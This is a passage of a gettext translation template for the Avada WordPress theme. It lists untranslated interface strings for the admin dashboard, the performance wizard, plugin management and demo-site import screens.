includes/admin-screens/dashboard.php:236 msgid "WP Multilingual" msgstr "" #: includes/admin-screens/dashboard.php:243 msgid "EC Logo" msgstr "" #: includes/admin-screens/dashboard.php:247 #: includes/options/events_calendar.php:36 includes/options/sidebars.php:568 msgid "Events Calendar" msgstr "" #: includes/admin-screens/dashboard.php:250 msgid "" "Power your events for free with The Events Calendar, or upgrade to Pro to " "unlock recurring events, views, premium support, and more." msgstr "" #: includes/admin-screens/dashboard.php:253 msgid "WP Events Calendar" msgstr "" #: includes/admin-screens/performance.php:43 #: includes/admin-screens/performance.php:46 includes/class-avada-admin.php:651 #: includes/class-awb-performance-wizard.php:1475 msgid "Performance Wizard" msgstr "" #: includes/admin-screens/performance.php:44 msgid "Follow the wizard to optimize your website." msgstr "" #: includes/admin-screens/performance.php:50 msgid "Before Starting" msgstr "" #: includes/admin-screens/performance.php:51 msgid "Ensure you are ready to optimize your website." msgstr "" #: includes/admin-screens/performance.php:55 msgid "Build Your Website" msgstr "" #: includes/admin-screens/performance.php:56 msgid "Build your website before starting with performance optimization." msgstr "" #: includes/admin-screens/performance.php:63 msgid "Read The Documentation" msgstr "" #: includes/admin-screens/performance.php:64 msgid "" "Learn more about performance in our documentation, and pick up extra tips " "and tricks." msgstr "" #: includes/admin-screens/performance.php:72 msgid "Select Testing" msgstr "" #: includes/admin-screens/performance.php:73 msgid "" "Select if you would like to attempt before and after testing. Will slow " "down process if selected.." msgstr "" #: includes/admin-screens/performance.php:78 #: includes/avada-app/class-fusion-panel.php:689 #: includes/class-avada-megamenu-framework.php:128 #: includes/class-awb-global-typography.php:502 #: includes/lib/inc/fusion-app/templates/options/typography.php:223 #: includes/lib/inc/fusion-app/templates/typography-set.php:137 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:295 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:160 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:179 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:198 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:217 #: includes/lib/inc/widgets/class-fusion-widget-author.php:320 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:621 #: includes/metaboxes/metaboxes.php:1153 #: includes/metaboxes/options/options_slide.php:154 #: includes/metaboxes/options/options_slide.php:229 #: includes/metaboxes/tabs/tab_form_general.php:105 #: includes/metaboxes/tabs/tab_form_steps.php:40 #: includes/metaboxes/tabs/tab_form_steps.php:347 #: includes/metaboxes/tabs/tab_form_steps.php:448 #: includes/metaboxes/tabs/tab_form_steps.php:962 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:20 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:35 #: includes/metaboxes/tabs/tab_pagetitlebar.php:168 #: includes/metaboxes/tabs/tab_sidebars.php:325 #: includes/metaboxes/tabs/tab_studio.php:109 #: includes/metaboxes/tabs/tab_template.php:426 includes/options/footer.php:160 #: includes/options/footer.php:675 includes/options/menu.php:731 #: includes/options/page_title_bar.php:103 includes/options/performance.php:80 #: includes/options/performance.php:107 includes/options/performance.php:451 #: includes/options/portfolio.php:305 includes/options/sidebars.php:104 #: includes/options/social_media.php:261 includes/options/social_media.php:516 #: includes/options/social_media.php:879 #: includes/plugins/multiple_sidebars.php:327 msgid "None" msgstr "" #: includes/admin-screens/performance.php:79 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:228 #: includes/options/extra.php:1079 msgid "Mobile" msgstr "" #: includes/admin-screens/performance.php:80 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:226 #: includes/options/extra.php:1078 msgid "Desktop" msgstr "" #: includes/admin-screens/performance.php:86 msgid "Let's Start" msgstr "" #: includes/admin-screens/performance.php:93 msgid "Avada Features" msgstr "" #: includes/admin-screens/performance.php:94 msgid "" "In this step, you can disable any features you aren’t using, thereby " "reducing the amount of code loaded. Please be cautious, as disabling a " "feature you are using will result in broken behaviour until it is enabled " "again. Click the 'Find Recommendations' button to scan your website and " "present recommendations." msgstr "" #: includes/admin-screens/performance.php:96 #: includes/admin-screens/performance.php:193 #: includes/admin-screens/performance.php:238 #: includes/admin-screens/performance.php:363 #: includes/admin-screens/performance.php:517 msgid "Find Recommendations" msgstr "" #: includes/admin-screens/performance.php:97 #: includes/admin-screens/performance.php:194 #: includes/admin-screens/performance.php:239 #: includes/admin-screens/performance.php:518 msgid "Apply All" msgstr "" #: includes/admin-screens/performance.php:103 msgid "Disable Unused Features" msgstr "" #: includes/admin-screens/performance.php:126 #: includes/class-avada-megamenu-framework.php:201 #: includes/class-avada-megamenu-framework.php:420 #: includes/class-avada-megamenu-framework.php:463 #: includes/class-avada-megamenu-framework.php:487 #: includes/class-avada-megamenu-framework.php:564 #: includes/class-avada-megamenu-framework.php:657 #: includes/lib/inc/class-fusion-settings.php:528 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:189 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:200 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:222 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:233 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:244 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:255 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:290 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:301 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:312 #: includes/lib/inc/fusion-app/helpers.php:475 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.php:45 #: includes/metaboxes/tabs/tab_page.php:204 includes/options/advanced.php:489 #: includes/options/performance.php:271 includes/options/responsive.php:43 #: includes/options/responsive.php:213 msgid "On" msgstr "" #: includes/admin-screens/performance.php:127 #: includes/class-avada-megamenu-framework.php:202 #: includes/class-avada-megamenu-framework.php:421 #: includes/class-avada-megamenu-framework.php:464 #: includes/class-avada-megamenu-framework.php:488 #: includes/class-avada-megamenu-framework.php:565 #: includes/class-avada-megamenu-framework.php:658 #: includes/lib/inc/class-fusion-settings.php:528 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:190 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:201 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:223 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:234 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:245 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:256 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:291 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:302 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:313 #: includes/lib/inc/fusion-app/helpers.php:476 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.php:48 #: includes/metaboxes/tabs/tab_page.php:205 includes/options/advanced.php:490 #: includes/options/extra.php:1080 includes/options/forms.php:450 #: includes/options/forms.php:519 includes/options/maintenance.php:48 #: includes/options/performance.php:272 includes/options/responsive.php:44 #: includes/options/responsive.php:214 msgid "Off" msgstr "" #: includes/admin-screens/performance.php:139 msgid "Other Feature Recommendations" msgstr "" #: includes/admin-screens/performance.php:147 msgid "" "Recommend disabling. Flex layouts are faster to render and cause less " "content layout shift." msgstr "" #: includes/admin-screens/performance.php:154 msgid "Global Header" msgstr "" #: includes/admin-screens/performance.php:155 msgid "" "A global header can be built on the layout builder page. When set this will " "be used as the default website header instead of the legacy approach using " "global options." msgstr "" #: includes/admin-screens/performance.php:158 msgid "Build Header" msgstr "" #: includes/admin-screens/performance.php:161 msgid "" "Recommend building a global header. Older legacy header assets will not be " "loaded and new approach causes less content layout shift." msgstr "" #: includes/admin-screens/performance.php:168 msgid "" "Recommend setting to desktop only to disable element animations on mobile " "devices." msgstr "" #: includes/admin-screens/performance.php:172 msgid "No extra feature recommendations found for your current setup." msgstr "" #: includes/admin-screens/performance.php:175 #: includes/admin-screens/performance.php:226 #: includes/admin-screens/performance.php:346 #: includes/admin-screens/performance.php:506 #: includes/admin-screens/performance.php:622 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/footer.tpl.php:57 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header_stickybar.tpl.php:21 #: includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php:27 msgid "Save Changes" msgstr "" #: includes/admin-screens/performance.php:176 #: includes/admin-screens/performance.php:227 #: includes/admin-screens/performance.php:347 #: includes/admin-screens/performance.php:507 #: includes/admin-screens/setup.php:115 includes/admin-screens/setup.php:368 #: includes/admin-screens/setup.php:491 includes/admin-screens/setup.php:559 #: includes/admin-screens/setup.php:982 msgid "Next Step" msgstr "" #: includes/admin-screens/performance.php:184 msgid "Avada Icons" msgstr "" #: includes/admin-screens/performance.php:185 msgid "" "In this step, you can scan your website to get information about any icons " "you are using. You can also disable unused icon sets, and read about how to " "optimize your icons." msgstr "" #: includes/admin-screens/performance.php:189 #: includes/admin-screens/performance.php:359 msgid "Warning: Large number of posts detected, scanning might take a while." msgstr "" #: includes/admin-screens/performance.php:203 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:166 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:221 #: includes/metaboxes/options/options_es.php:17 #: includes/options/lightbox.php:411 templates/wc-quick-view-container.php:26 msgid "Title" msgstr "" #: includes/admin-screens/performance.php:204 #: includes/class-avada-admin.php:1480 includes/class-awb-setup-wizard.php:1436 #: includes/lib/inc/fusion-app/helpers.php:614 #: includes/metaboxes/metaboxes.php:670 #: includes/metaboxes/tabs/tab_content.php:24 #: includes/metaboxes/tabs/tab_sidebars.php:291 #: includes/options/sidebars.php:83 msgid "Content" msgstr "" #: includes/admin-screens/performance.php:205 msgid "Meta" msgstr "" #: includes/admin-screens/performance.php:210 msgid "" "Run the icon scan to have an overview of usage. Note, the time this will " "take will depend on the size of your website." msgstr "" #: includes/admin-screens/performance.php:222 #: includes/admin-screens/performance.php:502 msgid "Tip" msgstr "" #: includes/admin-screens/performance.php:222 msgid "" "Convert from Font Awesome to a single custom icon set to improve your load " "time." msgstr "" #: includes/admin-screens/performance.php:222 msgid "Find Out How!" msgstr "" #: includes/admin-screens/performance.php:234 msgid "Avada Fonts/Typography" msgstr "" #: includes/admin-screens/performance.php:235 msgid "" "In this step, you can check which fonts are being loaded on your website " "and optimize how those fonts are served. Ensure all families and variants " "selected here are required. Less variants will mean less requests and " "therefore faster loading." msgstr "" #: includes/admin-screens/performance.php:248 #. translators: Number of font variants msgid "" "You currently have %s different font variants. Recommend using fewer than 5 " "variants if possible." msgstr "" #: includes/admin-screens/performance.php:251 msgid "Global Fonts" msgstr "" #: includes/admin-screens/performance.php:277 #: includes/lib/inc/fusion-app/templates/options/typography.php:75 #: includes/lib/inc/fusion-app/templates/typography-set.php:42 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:120 #: includes/metaboxes/metaboxes.php:1038 msgid "Font Family" msgstr "" #: includes/admin-screens/performance.php:289 #: includes/lib/inc/fusion-app/templates/options/typography.php:90 #: includes/lib/inc/fusion-app/templates/typography-set.php:54 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:138 #: includes/metaboxes/metaboxes.php:1050 msgid "Select Font Family" msgstr "" #: includes/admin-screens/performance.php:297 #: includes/lib/inc/fusion-app/templates/options/typography.php:97 #: includes/lib/inc/fusion-app/templates/options/typography.php:125 #: includes/lib/inc/fusion-app/templates/typography-set.php:61 #: includes/lib/inc/fusion-app/templates/typography-set.php:87 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:146 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:184 #: includes/metaboxes/metaboxes.php:1057 includes/metaboxes/metaboxes.php:1086 msgid "Search Font Families" msgstr "" #: includes/admin-screens/performance.php:308 #: includes/lib/inc/fusion-app/helpers.php:530 #: includes/lib/inc/fusion-app/templates/options/typography.php:160 #: includes/lib/inc/fusion-app/templates/typography-set.php:101 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:203 #: includes/metaboxes/metaboxes.php:1103 msgid "Variant" msgstr "" #: includes/admin-screens/performance.php:329 msgid "Font Serving" msgstr "" #: includes/admin-screens/performance.php:333 msgid "Recommend setting to swap all for the fastest initial load." msgstr "" #: includes/admin-screens/performance.php:336 msgid "Recommend setting to local but CDN will also work." msgstr "" #: includes/admin-screens/performance.php:339 msgid "" "Recommend setting to none unless your largest contentful paint is text or " "an icon." msgstr "" #: includes/admin-screens/performance.php:339 msgid "Find out how to optimize the largest contentful paint (LCP)." msgstr "" #: includes/admin-screens/performance.php:354 msgid "Avada Elements" msgstr "" #: includes/admin-screens/performance.php:355 msgid "" "In this step, you can disable any Design, Layout and Form Elements you " "aren’t using. When disabled, the Elements will not load and will therefore " "not be available in the Builder. Click the 'Find Recommendations' button to " "scan your website and show which Elements you are using." msgstr "" #: includes/admin-screens/performance.php:364 #: includes/admin-screens/performance.php:365 msgid "Run Element Scan" msgstr "" #: includes/admin-screens/performance.php:364 msgid "Enable All" msgstr "" #: includes/admin-screens/performance.php:365 msgid "Disable All" msgstr "" #: includes/admin-screens/performance.php:373 msgid "Element scan has completed and only used elements have been selected." msgstr "" #: includes/admin-screens/performance.php:383 #: includes/class-awb-site-data.php:415 msgid "Woo Featured" msgstr "" #: includes/admin-screens/performance.php:388 #: includes/class-awb-site-data.php:420 msgid "Woo Carousel" msgstr "" #: includes/admin-screens/performance.php:393 #: includes/class-awb-site-data.php:425 msgid "Woo Shortcodes" msgstr "" #: includes/admin-screens/performance.php:398 #: includes/class-awb-site-data.php:430 msgid "Layer Slider" msgstr "" #: includes/admin-screens/performance.php:403 #: includes/avada-app/class-fusion-panel.php:440 #: includes/class-awb-site-data.php:435 msgid "Slider Revolution" msgstr "" #: includes/admin-screens/performance.php:408 #: includes/admin-screens/setup.php:897 includes/avada-functions.php:1947 #: includes/class-awb-site-data.php:440 msgid "Events" msgstr "" #: includes/admin-screens/performance.php:413 #: includes/class-awb-site-data.php:445 #: includes/lib/inc/redux/custom-fields/iconpicker/field_iconpicker.php:49 #: includes/options/social_media.php:123 msgid "Icon" msgstr "" #: includes/admin-screens/performance.php:417 #: includes/avada-app/class-fusion-panel.php:439 #: includes/avada-functions.php:1714 includes/class-awb-site-data.php:449 #: includes/options/advanced.php:567 msgid "Avada Slider" msgstr "" #: includes/admin-screens/performance.php:425 #: includes/lib/inc/fusion-app/helpers.php:256 msgid "Design Elements" msgstr "" #: includes/admin-screens/performance.php:461 #: includes/lib/inc/fusion-app/helpers.php:257 msgid "Layout Elements" msgstr "" #: includes/admin-screens/performance.php:479 #: includes/lib/inc/fusion-app/helpers.php:258 msgid "Form Elements" msgstr "" #: includes/admin-screens/performance.php:502 msgid "Avoid using complex dynamic elements above the fold. " msgstr "" #: includes/admin-screens/performance.php:502 msgid "Find out more optimization tips in our documentation." msgstr "" #: includes/admin-screens/performance.php:514 msgid "Avada Optimization" msgstr "" #: includes/admin-screens/performance.php:515 msgid "" "In this step, you can optimize how the CSS and JS assets should be " "enqueued. These options can have a large impact on the performance of the " "page load, but some of these options can also break functionality if you " "are using a caching plugin, so proceed with caution." msgstr "" #: includes/admin-screens/performance.php:524 msgid "Image & Video Optimization" msgstr "" #: includes/admin-screens/performance.php:528 msgid "Recommend setting to webP or AVIF." msgstr "" #: includes/admin-screens/performance.php:533 #: includes/admin-screens/performance.php:538 msgid "Recommend setting to around 80 to balance file size and quality." msgstr "" #: includes/admin-screens/performance.php:543 msgid "" "Recommend setting to around 2560 to balance file size and quality on very " "large displays." msgstr "" #: includes/admin-screens/performance.php:548 msgid "Recommend using only non-legacy formats." msgstr "" #: includes/admin-screens/performance.php:553 msgid "" "Recommend setting to Avada. If using a performance plugin, ensure lazy load " "is disabled there." msgstr "" #: includes/admin-screens/performance.php:558 msgid "Recommend turning on if you are using YouTube or Vimeo elements." msgstr "" #: includes/admin-screens/performance.php:560 msgid "JS Optimization" msgstr "" #: includes/admin-screens/performance.php:564 msgid "Recommend disabling unless a third party plugin requires it." msgstr "" #: includes/admin-screens/performance.php:569 msgid "Strongly recommend turning on to compile JS to a single file." msgstr "" #: includes/admin-screens/performance.php:571 msgid "CSS Optimization" msgstr "" #: includes/admin-screens/performance.php:575 msgid "Recommend leaving off unless you are using an external critical CSS service." msgstr "" #: includes/admin-screens/performance.php:580 msgid "Recommend leaving off. In most cases load times will be faster." msgstr "" #: includes/admin-screens/performance.php:585 msgid "Strongly recommend setting to file method." msgstr "" #: includes/admin-screens/performance.php:590 msgid "Recommend enabling." msgstr "" #: includes/admin-screens/performance.php:592 msgid "Advanced Optimization" msgstr "" #: includes/admin-screens/performance.php:602 msgid "Recommend leaving off unless your host does not automatically compress." msgstr "" #: includes/admin-screens/performance.php:609 msgid "" "Recommend turning on to move jQuery to footer. Warning, if you encounter " "problems on the front-end then turn off." msgstr "" #: includes/admin-screens/performance.php:614 msgid "" "Recommend turning on and then generating critical CSS for key pages on the " "critical CSS page." msgstr "" #: includes/admin-screens/performance.php:619 msgid "" "Recommend turning on if your host or your caching plugin supports " "persistant object caching." msgstr "" #: includes/admin-screens/performance.php:623 msgid "Finish Wizard" msgstr "" #: includes/admin-screens/performance.php:630 msgid "Performance Wizard Complete!" msgstr "" #: includes/admin-screens/performance.php:631 msgid "" "Thank you for completing the Performance Wizard. You should now be set up " "for fast page load times. Please note though, content, plugins and setup " "also play a large role. For further hints and tips, please check out our " "Performance documentation. Some links can be found below." msgstr "" #: includes/admin-screens/performance.php:642 #: includes/lib/inc/fusion-app/helpers.php:406 #: includes/metaboxes/tabs/tab_form_steps.php:816 msgid "Before" msgstr "" #: includes/admin-screens/performance.php:652 #: includes/admin-screens/performance.php:700 msgid "Score" msgstr "" #: includes/admin-screens/performance.php:663 #: includes/admin-screens/performance.php:711 msgid "FCP" msgstr "" #: includes/admin-screens/performance.php:674 #: includes/admin-screens/performance.php:722 msgid "LCP" msgstr "" #: includes/admin-screens/performance.php:685 #: includes/admin-screens/performance.php:733 msgid "CLS" msgstr "" #: includes/admin-screens/performance.php:690 #: includes/lib/inc/fusion-app/helpers.php:407 #: includes/metaboxes/tabs/tab_form_steps.php:815 msgid "After" msgstr "" #: includes/admin-screens/performance.php:744 msgid "Clearing Cache" msgstr "" #: includes/admin-screens/performance.php:760 #. translators: The number of active plugins. msgid "Active Plugins: %s" msgstr "" #: includes/admin-screens/performance.php:761 msgid "" "Try to minimize the number of plugins you have. Make sure you really need " "each plugin you have. Try to use the features already included in Avada " "rather than extra plugins. For example, use Avada Forms instead of a form " "plugin. You may also want to try a caching plugin, however if doing so, try " "to avoid using the same options in multiple places. For example, we suggest " "using the Avada lazy loading for images and not the lazy loading from " "plugins." msgstr "" #: includes/admin-screens/performance.php:775 msgid "Possible Improvements" msgstr "" #: includes/admin-screens/performance.php:785 msgid "What are Google core web vitals" msgstr "" #: includes/admin-screens/performance.php:786 msgid "How to optimize above the fold content for performance" msgstr "" #: includes/admin-screens/performance.php:787 msgid "How to optimize the images on your website" msgstr "" #: includes/admin-screens/plugins.php:55 msgid "Manage Bundled, Premium & Recommended Plugins" msgstr "" #: includes/admin-screens/plugins.php:60 #. translators: The "Product Registration" link. msgid "" "Avada Core and Avada Builder are required plugins for the Avada Website " "Builder. Avada Custom Branding, Convert Plus, ACF Pro, Slider Revolution & " "Layer Slider are premium plugins that can be installed once your product is registered." msgstr "" #: includes/admin-screens/plugins.php:69 msgid "" "Before updating premium plugins, please ensure Avada is on the latest " "version. The recommended plugins below offer design integration with Avada. " "You can manage the plugins from this tab." msgstr "" #: includes/admin-screens/plugins.php:75 msgid "" "Premium Plugins Can Only Be Installed And Updated With Valid Product " "Registration" msgstr "" #: includes/admin-screens/plugins.php:77 #. translators: "Product Registration" link. msgid "" "Please visit the %s page and enter a purchase code to install or update the " "premium plugins: Avada Core, Avada Builder, Avada Custom Branding, Convert " "Plus, ACF Pro, Slider Revolution & Layer Slider." msgstr "" #: includes/admin-screens/plugins.php:77 #: includes/admin-screens/prebuilt-websites.php:126 msgid "Product Registration" msgstr "" #: includes/admin-screens/plugins.php:83 msgid "The Plugin Server Could Not Be Reached" msgstr "" #: includes/admin-screens/plugins.php:88 #. translators: %1$s = Status text & link. %2$s: Plugin Installation text & #. link. %3$s: Support Dashboard text & link. msgid "" "Please check on the %1$s page if wp_remote_get() is working. For more " "information you can check our documentation of the %2$s. If the issue " "persists, you can also get the plugins through our alternate method " "directly from the %3$s." msgstr "" #: includes/admin-screens/plugins.php:89 #: includes/admin-screens/prebuilt-websites.php:26 #: includes/admin-screens/prebuilt-websites.php:43 #: includes/admin-screens/prebuilt-websites.php:72 #: includes/admin-screens/status.php:21 includes/class-avada-admin-bar.php:87 #: includes/class-avada-admin.php:412 includes/class-avada-admin.php:694 #: includes/options/performance.php:308 msgid "System Status" msgstr "" #: includes/admin-screens/plugins.php:90 msgid "Plugin Installation" msgstr "" #: includes/admin-screens/plugins.php:91 msgid "Support Dashboard" msgstr "" #: includes/admin-screens/plugins.php:143 #. translators: Version number. msgid "New version available: %s" msgstr "" #: includes/admin-screens/plugins.php:149 #. translators: plugin name. msgid "Active: %s" msgstr "" #: includes/admin-screens/plugins.php:156 #. translators: %1$s: Plugin version. %2$s: Author URL. %3$s: Author Name. msgid "v%1$s | %3$s" msgstr "" #: includes/admin-screens/plugins.php:159 #. translators: Version number. msgid "Available Version: %s" msgstr "" #: includes/admin-screens/plugins.php:185 #: includes/class-avada-tgm-plugin-activation.php:2338 #: includes/lib/inc/fusion-app/helpers.php:376 msgid "Required" msgstr "" #: includes/admin-screens/plugins.php:191 msgid "Premium" msgstr "" #: includes/admin-screens/plugins.php:200 msgid "Error " msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:27 #: includes/class-awb-views-count.php:114 #: includes/lib/inc/fusion-app/helpers.php:496 #: includes/lib/inc/fusion-app/helpers.php:600 #: includes/lib/inc/redux/custom-fields/spacing/field_border_radius.php:84 #: includes/lib/inc/redux/custom-fields/spacing/field_spacing.php:84 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:128 #: includes/metaboxes/tabs/tab_form_general.php:92 #: includes/options/forms.php:238 includes/options/performance.php:104 msgid "All" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:61 #: includes/admin-screens/prebuilt-websites-import-modal.php:110 #: includes/class-avada-admin.php:1484 #: includes/lib/inc/fusion-app/templates/options/import.php:91 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:167 #: includes/metaboxes/tabs/tab_avada_page_options.php:61 msgid "Import" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:61 #: includes/class-avada-admin.php:1481 msgid "Modify" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:65 #: includes/lib/inc/widgets/class-fusion-widget-form.php:117 #: includes/lib/inc/widgets/class-fusion-widget-menu.php:177 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:318 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:330 msgid "Select" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:70 #: includes/class-avada-admin.php:1482 msgid "Full Import" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:72 #: includes/class-avada-admin.php:1483 msgid "Partial Import" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:89 #: includes/avada-app/fusion-panel.php:156 #: includes/lib/inc/fusion-app/class-fusion-app.php:2361 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:149 #: includes/metaboxes/metaboxes.php:675 #: includes/metaboxes/tabs/tab_template.php:146 #: includes/metaboxes/tabs/tab_template.php:401 msgid "Preview" msgstr "" #: includes/admin-screens/prebuilt-websites-demo.php:94 msgid "New" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:22 msgid "Live Preview" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:29 msgid "Required Plugins To Import Content" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:39 #. translators: %1$s: Plugin Slugh. %2$s: Documentation Link. msgid "%1$s (%2$s)" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:41 msgid "Setup Required" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:47 #: includes/class-avada-admin.php:1167 #: includes/class-avada-tgm-plugin-activation.php:2786 msgid "Install" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:50 #: includes/class-avada-admin.php:1501 #: includes/class-avada-tgm-plugin-activation.php:2386 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.php:104 #: includes/metaboxes/tabs/tab_form_steps.php:108 #: includes/metaboxes/tabs/tab_form_steps.php:245 #: includes/metaboxes/tabs/tab_form_steps.php:483 #: includes/metaboxes/tabs/tab_form_steps.php:583 #: includes/metaboxes/tabs/tab_form_steps.php:766 #: includes/metaboxes/tabs/tab_form_steps.php:928 msgid "Active" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:53 #: includes/class-avada-admin.php:1186 #: includes/class-avada-tgm-plugin-activation.php:2795 msgid "Activate" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:88 msgid "Import Content" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:88 msgid "(menus only import with \"All\")" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:95 msgid "Remove Content" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:98 #: includes/admin-screens/prebuilt-websites-import-modal.php:114 #: includes/class-avada-megamenu-framework.php:1031 #: includes/class-avada-nav-walker-megamenu.php:249 #: includes/lib/inc/fusion-app/helpers.php:560 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:325 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.php:209 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.php:74 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.php:78 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.php:81 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:154 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:211 #: includes/metaboxes/metaboxes.php:1648 includes/metaboxes/metaboxes.php:1649 #: includes/plugins/multiple_sidebars.php:287 woocommerce/cart/cart.php:35 msgid "Remove" msgstr "" #: includes/admin-screens/prebuilt-websites-import-modal.php:118 msgid "Done" msgstr "" #: includes/admin-screens/prebuilt-websites-tag-selector.php:10 msgid "Filter Sites" msgstr "" #: includes/admin-screens/prebuilt-websites-tag-selector.php:11 msgid "Search prebuilt sites" msgstr "" #: includes/admin-screens/prebuilt-websites-tag-selector.php:15 msgid "All Prebuilt Sites" msgstr "" #: includes/admin-screens/prebuilt-websites-tag-selector.php:21 msgid "Imported" msgstr "" #: includes/admin-screens/prebuilt-websites.php:21 #: includes/admin-screens/prebuilt-websites.php:38 msgid "We're sorry but the demo data could not be imported" msgstr "" #: includes/admin-screens/prebuilt-websites.php:22 #: includes/admin-screens/prebuilt-websites.php:39 msgid "" "This is most likely due to low PHP configurations on your server. There are " "two possible solutions." msgstr "" #: includes/admin-screens/prebuilt-websites.php:24 #: includes/admin-screens/prebuilt-websites.php:41 #: includes/admin-screens/prebuilt-websites.php:49 msgid "Solution 1:" msgstr "" #: includes/admin-screens/prebuilt-websites.php:24 #: includes/admin-screens/prebuilt-websites.php:41 #: includes/admin-screens/prebuilt-websites.php:49 msgid "Import the demo using an alternate method." msgstr "" #: includes/admin-screens/prebuilt-websites.php:24 #: includes/admin-screens/prebuilt-websites.php:41 #: includes/admin-screens/prebuilt-websites.php:49 msgid "Alternate Method" msgstr "" #: includes/admin-screens/prebuilt-websites.php:26 #: includes/admin-screens/prebuilt-websites.php:43 #: includes/admin-screens/prebuilt-websites.php:50 #. translators: %1$s: RED. %2$s: "Reset WordPress Plugin" link. msgid "Solution 2:" msgstr "" #: includes/admin-screens/prebuilt-websites.php:26 #: includes/admin-screens/prebuilt-websites.php:43 msgid "" "Fix the PHP configurations reported in %1$s on the System Status page, then " "use the %2$s, then reimport." msgstr "" #: includes/admin-screens/prebuilt-websites.php:26 #: includes/admin-screens/prebuilt-websites.php:43 msgid "RED" msgstr "" #: includes/admin-screens/prebuilt-websites.php:26 #: includes/admin-screens/prebuilt-websites.php:43 msgid "Reset WordPress Plugin" msgstr "" #: includes/admin-screens/prebuilt-websites.php:30 msgid "Demo data successfully imported" msgstr "" #: includes/admin-screens/prebuilt-websites.php:32 #. translators: "Regenerate Thumbnails" plugin link. msgid "" "Install and run %s plugin once if you would like images generated to the " "specific theme sizes. This is not needed if you upload your own images " "because WP does it automatically." msgstr "" #: includes/admin-screens/prebuilt-websites.php:32 #: includes/options/performance.php:368 includes/options/performance.php:383 #: includes/options/performance.php:404 msgid "Regenerate Thumbnails" msgstr "" #: includes/admin-screens/prebuilt-websites.php:34 #. translators: "Permalinks" link. msgid "" "Please visit the %s page and change your permalinks structure to \"Post " "Name\" so that content links work properly." msgstr "" #: includes/admin-screens/prebuilt-websites.php:34 msgid "Permalinks" msgstr "" #: includes/admin-screens/prebuilt-websites.php:47 msgid "" "We're sorry but the demo data could not be imported. We were unable to find " "import file." msgstr "" #: includes/admin-screens/prebuilt-websites.php:50 msgid "" "Make sure WordPress directory permissions are correct and uploads directory " "is writable." msgstr "" #: includes/admin-screens/prebuilt-websites.php:50 #: includes/admin-screens/status.php:156 includes/admin-screens/status.php:178 #: includes/admin-screens/status.php:280 includes/admin-screens/status.php:299 msgid "Learn More" msgstr "" #: includes/admin-screens/prebuilt-websites.php:62 msgid 